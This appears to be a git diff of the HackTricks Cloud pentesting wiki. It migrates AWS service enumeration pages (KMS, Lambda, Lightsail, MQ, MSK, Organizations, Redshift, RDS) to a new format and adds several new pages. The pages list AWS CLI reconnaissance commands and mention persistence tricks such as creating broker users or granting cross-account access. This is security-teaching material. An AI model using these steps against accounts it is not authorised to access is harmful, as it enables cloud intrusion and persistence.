+With KMS policy you can do the following:
+
+- Limit who can create data keys and which services have access to use these keys
+- Limit systems access to encrypt only, decrypt only or both
+- Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions).
+
+You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region.
+
+### Enumeration
+
+```bash
+aws kms list-keys
+aws kms list-key-policies --key-id <id>
+aws kms list-grants --key-id <id>
+aws kms describe-key --key-id <id>
+aws kms get-key-policy --key-id <id> --policy-name <name> # Default policy name is "default"
+aws kms describe-custom-key-stores
+```
+
+### Privesc
+
+{{#ref}}
+../aws-privilege-escalation/aws-kms-privesc.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-kms-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../aws-persistence/aws-kms-persistence.md
+{{#endref}}
+
+## References
+
+- [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
similarity index 69%
rename from pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
index 34a5e0cc7..8888e1a5d 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
@@ -1,19 +1,6 @@
 # AWS - Lambda Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Lambda
 
@@ -29,7 +16,7 @@ A Lambda can have **several versions**.\
 And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\
 If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit.
 
-![](<../../../.gitbook/assets/image (223).png>)
+![](<../../../images/image (223).png>)
 
 ### Resource Policies
 
@@ -65,8 +52,8 @@ Functions deployed as a container image do not use layers. Instead, you package
 
 Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
 
-* **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-* **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
+- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
+- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
 
 ### Enumeration
 
@@ -135,7 +122,7 @@ Now it's time to find out possible lambda functions to execute:
 aws --region us-west-2 --profile level6 lambda list-functions
 ```
 
-![](<../../../.gitbook/assets/image (262).png>)
+![](<../../../images/image (262).png>)
 
 A lambda function called "Level6" is available. Lets find out how to call it:
 
@@ -143,7 +130,7 @@ A lambda function called "Level6" is available. Lets find out how to call it:
 aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
 ```
 
-![](<../../../.gitbook/assets/image (102).png>)
+![](<../../../images/image (102).png>)
 
 Now, that you know the name and the ID you can get the Name:
 
@@ -151,7 +138,7 @@ Now, that you know the name and the ID you can get the Name:
 aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
 ```
 
-![](<../../../.gitbook/assets/image (237).png>)
+![](<../../../images/image (237).png>)
 
 And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6)
 
@@ -161,50 +148,37 @@ And finally call the function accessing (notice that the ID, Name and function-n
 
 There are a lot of other sources that can trigger a lambda
 
-<figure><img src="../../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (167).png" alt=""><figcaption></figcaption></figure>
 
 ### Privesc
 
 In the following page you can check how to **abuse Lambda permissions to escalate privileges**:
 
-{% content-ref url="../aws-privilege-escalation/aws-lambda-privesc.md" %}
-[aws-lambda-privesc.md](../aws-privilege-escalation/aws-lambda-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-lambda-privesc.md
+{{#endref}}
 
 ### Unauthenticated Access
 
-{% content-ref url="../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md" %}
-[aws-lambda-unauthenticated-access.md](../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
+{{#endref}}
 
 ### Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-lambda-post-exploitation/" %}
-[aws-lambda-post-exploitation](../aws-post-exploitation/aws-lambda-post-exploitation/)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-lambda-post-exploitation/
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../aws-persistence/aws-lambda-persistence/" %}
-[aws-lambda-persistence](../aws-persistence/aws-lambda-persistence/)
-{% endcontent-ref %}
+{{#ref}}
+../aws-persistence/aws-lambda-persistence/
+{{#endref}}
 
 ## References
 
-* [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer)
-* [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
+- [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer)
+- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
new file mode 100644
index 000000000..404f14c10
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
@@ -0,0 +1,59 @@
+# AWS - Lightsail Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## AWS - Lightsail
+
+Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS’ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\
+It's a **minimal EC2 + Route53 + ECS**.
+
+### Enumeration
+
+```bash
+# Instances
+aws lightsail get-instances #Get all
+aws lightsail get-instance-port-states --instance-name <instance_name> #Get open ports
+
+# Databases
+aws lightsail get-relational-databases
+aws lightsail get-relational-database-snapshots
+aws lightsail get-relational-database-parameters
+
+# Disk & snapshots
+aws lightsail get-instance-snapshots
+aws lightsail get-disk-snapshots
+aws lightsail get-disks
+
+# More
+aws lightsail get-load-balancers
+aws lightsail get-static-ips
+aws lightsail get-key-pairs
+```
+
+### Analyse Snapshots
+
+It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration).
+
+### Metadata
+
+**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS.
+
+### Privesc
+
+{{#ref}}
+../aws-privilege-escalation/aws-lightsail-privesc.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-lightsail-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../aws-persistence/aws-lightsail-persistence.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
new file mode 100644
index 000000000..8e221776a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
@@ -0,0 +1,76 @@
+# AWS - MQ Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Amazon MQ
+
+### Introduction to Message Brokers
+
+**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates.
+
+### AWS - RabbitMQ
+
+RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers.
+
+### AWS - ActiveMQ
+
+Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can:
+
+- Connect with clients written in JavaScript, C, C++, Python, .Net, and more.
+- Leverage the **AMQP** protocol to integrate applications from different platforms.
+- Use **STOMP** over websockets for web application message exchanges.
+- Manage IoT devices with **MQTT**.
+- Maintain existing **JMS** infrastructure and extend its capabilities.
+
+ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements.
+
+## Enumeration
+
+```bash
+# List brokers
+aws mq list-brokers
+
+# Get broker info
+aws mq describe-broker --broker-id <broker-id>
+## Find endpoints in .BrokerInstances
+## Find if public accessible in .PubliclyAccessible
+
+# List usernames (only for ActiveMQ)
+aws mq list-users --broker-id <broker-id>
+
+# Get user info (PASSWORD NOT INCLUDED)
+aws mq describe-user --broker-id <broker-id> --username <username>
+
+# Lits configurations (only for ActiveMQ)
+aws mq list-configurations
+## Here you can find if simple or LDAP authentication is used
+
+# Creacte Active MQ user
+aws mq create-user --broker-id <value> --password <value> --username <value> --console-access
+```
+
+> [!WARNING]
+> TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this)
+
+## Privesc
+
+{{#ref}}
+../aws-privilege-escalation/aws-mq-privesc.md
+{{#endref}}
+
+## Unauthenticated Access
+
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
+{{#endref}}
+
+## Persistence
+
+If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges.
+
+## References
+
+- [https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html)
+- [https://activemq.apache.org/](https://activemq.apache.org/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
similarity index 59%
rename from pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
index 4e2cae977..ca0098630 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
@@ -1,19 +1,6 @@
 # AWS - MSK Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Amazon MSK
 
@@ -27,9 +14,9 @@ There are 2 types of Kafka clusters that AWS allows to create: Provisioned and S
 
 From the point of view of an attacker you need to know that:
 
-* **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports.
-* **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access.
-  * Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled
+- **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports.
+- **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access.
+  - Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled
 
 ### Enumeration
 
@@ -65,7 +52,7 @@ aws kafka list-scram-secrets --cluster-arn <cluster-arn>
 wget https://archive.apache.org/dist/kafka/2.8.1/kafka_2.12-2.8.1.tgz
 tar -xzf kafka_2.12-2.8.1.tgz
 
-# In kafka_2.12-2.8.1/libs download the MSK IAM JAR file. 
+# In kafka_2.12-2.8.1/libs download the MSK IAM JAR file.
 cd kafka_2.12-2.8.1/libs
 wget https://github.com/aws/aws-msk-iam-auth/releases/download/v1.1.1/aws-msk-iam-auth-1.1.1-all.jar
 
@@ -91,15 +78,15 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer
 
 ### Privesc
 
-{% content-ref url="../aws-privilege-escalation/aws-msk-privesc.md" %}
-[aws-msk-privesc.md](../aws-privilege-escalation/aws-msk-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-msk-privesc.md
+{{#endref}}
 
 ### Unauthenticated Access
 
-{% content-ref url="../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md" %}
-[aws-msk-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
+{{#endref}}
 
 ### Persistence
 
@@ -107,19 +94,6 @@ If you are going to **have access to the VPC** where a Provisioned Kafka is, you
 
 ## References
 
-* [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html)
+- [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
new file mode 100644
index 000000000..445b9c5df
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
@@ -0,0 +1,47 @@
+# AWS - Organizations Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Baisc Information
+
+AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization.
+
+Key Points:
+
+- **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges.
+- **Resource Allocation**: It simplifies the process of allocating resources across the accounts.
+- **Account Grouping**: Accounts can be grouped together, making management more streamlined.
+- **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization.
+
+You can find more information in:
+
+{{#ref}}
+../aws-basic-information/
+{{#endref}}
+
+```bash
+# Get Org
+aws organizations describe-organization
+aws organizations list-roots
+
+# Get OUs, from root and from other OUs
+aws organizations list-organizational-units-for-parent --parent-id r-lalala
+aws organizations list-organizational-units-for-parent --parent-id ou-n8s9-8nzv3a5y
+
+# Get accounts
+## List all the accounts without caring about the parent
+aws organizations list-accounts
+## Accounts from a parent
+aws organizations list-accounts-for-parent --parent-id r-lalala
+aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y
+
+# Get basic account info
+## You need the permission iam:GetAccountSummary
+aws iam get-account-summary
+```
+
+## References
+
+- https://aws.amazon.com/organizations/
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
new file mode 100644
index 000000000..8e2042191
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
@@ -0,0 +1,24 @@
+# AWS - Other Services Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Directconnect
+
+Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network).
+
+```
+aws directconnect describe-connections
+aws directconnect describe-interconnects
+aws directconnect describe-virtual-gateways
+aws directconnect describe-virtual-interfaces
+```
+
+## Support
+
+In AWS you can access current and previous support cases via the API
+
+```
+aws support describe-cases --include-resolved-cases
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
similarity index 70%
rename from pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
index 3580f80fd..37304bdad 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
@@ -1,19 +1,6 @@
 # AWS - Redshift Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Amazon Redshift
 
@@ -98,28 +85,15 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm
 
 ## Privesc
 
-{% content-ref url="../aws-privilege-escalation/aws-redshift-privesc.md" %}
-[aws-redshift-privesc.md](../aws-privilege-escalation/aws-redshift-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-redshift-privesc.md
+{{#endref}}
 
 ## Persistence
 
 The following actions allow to grant access to other AWS accounts to the cluster:
 
-* [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html)
-* [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html)
+- [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html)
+- [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
similarity index 53%
rename from pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
index 2b1ff5644..a91ada4e0 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
@@ -1,19 +1,6 @@
 # AWS - Relational Database (RDS) Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -23,29 +10,29 @@ AWS RDS supports various widely-used relational database engines including MySQL
 
 Key features of RDS include:
 
-* **Management of database instances** is simplified.
-* Creation of **read replicas** to enhance read performance.
-* Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms.
-* **Integration** with other AWS services, such as:
-  * AWS Identity and Access Management (**IAM**) for robust access control.
-  * AWS **CloudWatch** for comprehensive monitoring and metrics.
-  * AWS Key Management Service (**KMS**) for ensuring encryption at rest.
+- **Management of database instances** is simplified.
+- Creation of **read replicas** to enhance read performance.
+- Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms.
+- **Integration** with other AWS services, such as:
+  - AWS Identity and Access Management (**IAM**) for robust access control.
+  - AWS **CloudWatch** for comprehensive monitoring and metrics.
+  - AWS Key Management Service (**KMS**) for ensuring encryption at rest.
 
 ## Credentials
 
 When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can:
 
-* **Indicate** a **password** yourself
-* Tell RDS to **auto generate** it
-* Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key
+- **Indicate** a **password** yourself
+- Tell RDS to **auto generate** it
+- Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key
 
-<figure><img src="../../../.gitbook/assets/image (144).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (144).png" alt=""><figcaption></figcaption></figure>
 
 ### Authentication
 
 There are 3 types of authentication options, but using the **master password is always allowed**:
 
-<figure><img src="../../../.gitbook/assets/image (227).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (227).png" alt=""><figcaption></figcaption></figure>
 
 ### Public Access & VPC
 
@@ -71,21 +58,20 @@ Alongside the encryption capabilities inherent to RDS at the application level,
 To utilize TDE, certain preliminary steps are required:
 
 1. **Option Group Association**:
-   * The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements.
